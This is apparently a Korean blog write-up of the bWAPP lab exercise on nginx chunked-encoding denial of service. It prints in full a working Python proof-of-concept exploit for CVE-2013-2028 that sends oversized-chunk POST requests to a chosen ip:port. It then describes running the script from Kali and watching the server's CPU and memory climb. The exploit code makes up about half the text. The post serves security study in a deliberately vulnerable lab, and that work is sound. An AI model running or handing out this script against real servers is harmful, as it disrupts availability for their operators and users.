(bWAPP)Denial-of-Service (Large Chunk Size)
취약점 설명
DoS는 서비스 거부 공격으로, 대상 시스템에 대한 가용성을 무너뜨리는 공격이다. 대표적으로 대역폭 공격, 리소스 고갈, 프로토콜 공격, 공격자 자원 고갈등이 존재한다.

- 8080/8443 포트로 Nginx 웹 서버가 동작중이며, 해당 웹 서버는 chunked Transfer-Encoding을 통한 DoS 공격에 취약하다고 한다.
HTTP Chunked는 request body의 크기를 가변적으로 정할 수 있는 기능이다.
해당 bWAPP에서는 타겟 서버의 DoS 공격을 수행하는 악성 스크립트를 제공하고 있다.
# Exploit Title: nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028)
# Date: 16.05.2013
# Exploit Author: Mert SARICA - mert [ . ] sarica [ @ ] gmail [ . ] com - http://www.mertsarica.com
# Minor customizations by Malik Mesellem (@MME_IT)
# Vendor Homepage: http://nginx.org/
# Software Link: http://nginx.org/download/nginx-1.4.0.tar.gz
# Version: 1.3.9-1.4.0
# Tested on: Kali Linux & Windows XP (nginx v1.4.0)
# CVE : CVE-2013-2028
import httplib
import time
import socket
import sys
import os
# Vars & Defs
debug = 0
dos_packet = 0xFFFFFFFFFFFFFFEC
socket.setdefaulttimeout(1)
packet = 0
def chunk(data, chunk_size):
    chunked = ""
    chunked += "%s\r\n" % (chunk_size)
    chunked += "%s\r\n" % (data)
    chunked += "0\r\n\r\n"
    return chunked
if sys.platform == 'linux-i386' or sys.platform == 'linux2':
        os.system("clear")
elif sys.platform == 'win32':
        os.system("cls")
else:
        os.system("cls")
                
print "======================================================================"
print u"nginx v1.3.9-1.4.0 DOS POC (CVE-2013-2028) [http://www.mertsarica.com]"
print "======================================================================"
if len(sys.argv) < 2:
        print "Usage: python nginx_dos.py [target ip:port]\n"
        print "Example: python nginx_dos.py 127.0.0.1:8080\n"
        sys.exit(1)
else:
    host = sys.argv[1].lower()
        
while packet <= 66:
    body = "beezzzzzzzzzz"
    chunk_size = hex(dos_packet + 1)[3:]
    chunk_size = ("F" + chunk_size[:len(chunk_size)-1]).upper()
    if debug:
        print "data length:", len(body), "chunk size:", chunk_size[:len(chunk_size)]
    try:
        con = httplib.HTTPConnection(host)
        url = "/bWAPP/portal.php"
        con.putrequest('POST', url)
        con.putheader('User-Agent', 'bWAPP')
        con.putheader('Accept', '*/*')
        con.putheader('Transfer-Encoding', 'chunked')
        con.putheader('Content-Type', 'application/x-www-form-urlencoded')
        con.endheaders()
        con.send(chunk(body, chunk_size[:len(chunk_size)]))
    except:
        print "Connection error!"
        sys.exit(1)
        
    try:
        resp = con.getresponse()
        print(resp.status, resp.reason)
    except:
        print "[*] Knock knock, is anybody there ? (" + str(packet) + "/66)"
    packet = packet + 1
    
    con.close()
print "[+] Done!"
해당 PoC 코드는 CVE-2013-2028로 명명된 취약점에서 사용되는 공격 코드이다.
 해당 소스크드를 공격자 Kali에서 파이썬 스크립트로 만들어 실행시키면, 위와 같은
문구가 출력된다.
해당 소스크드를 공격자 Kali에서 파이썬 스크립트로 만들어 실행시키면, 위와 같은
문구가 출력된다.
사용법은 스크립트 사용시 파라미터로 ip와 port를 넘겨주게 되는데, bWAPP에서는
8080 및 8443포트를 사용하라고 나와있다.

- 현재 bWAPP 서버의 CPU 및 MEMORY상태를 보면 아무 이상이 없다.

- 필요한 인자를 주고 실행시키면 66번의 패킷을 지속적으로 전송하는 듯 하다.

- bWAPP 서버의 CPU 및 MEMORY 또한 비정상적으로 사용되는것을 확인할 수 있다.
- 이를 통해 DoS 공격으로 인한 서버의 가용성을 침해한다.

- 와이어샤크로 패킷을 보게되면 HTTP chunked response로 나와있는 걸 볼 수 있다.
- 이러한 공격은 공격자가 대량의 http 요청을 보낼 때, 서버는 요청을 처리하지 않고 리소스를 낭비하게 되므로, 가용성 감소를 통한 서비스 불능 상태로 만든다.
Leave a comment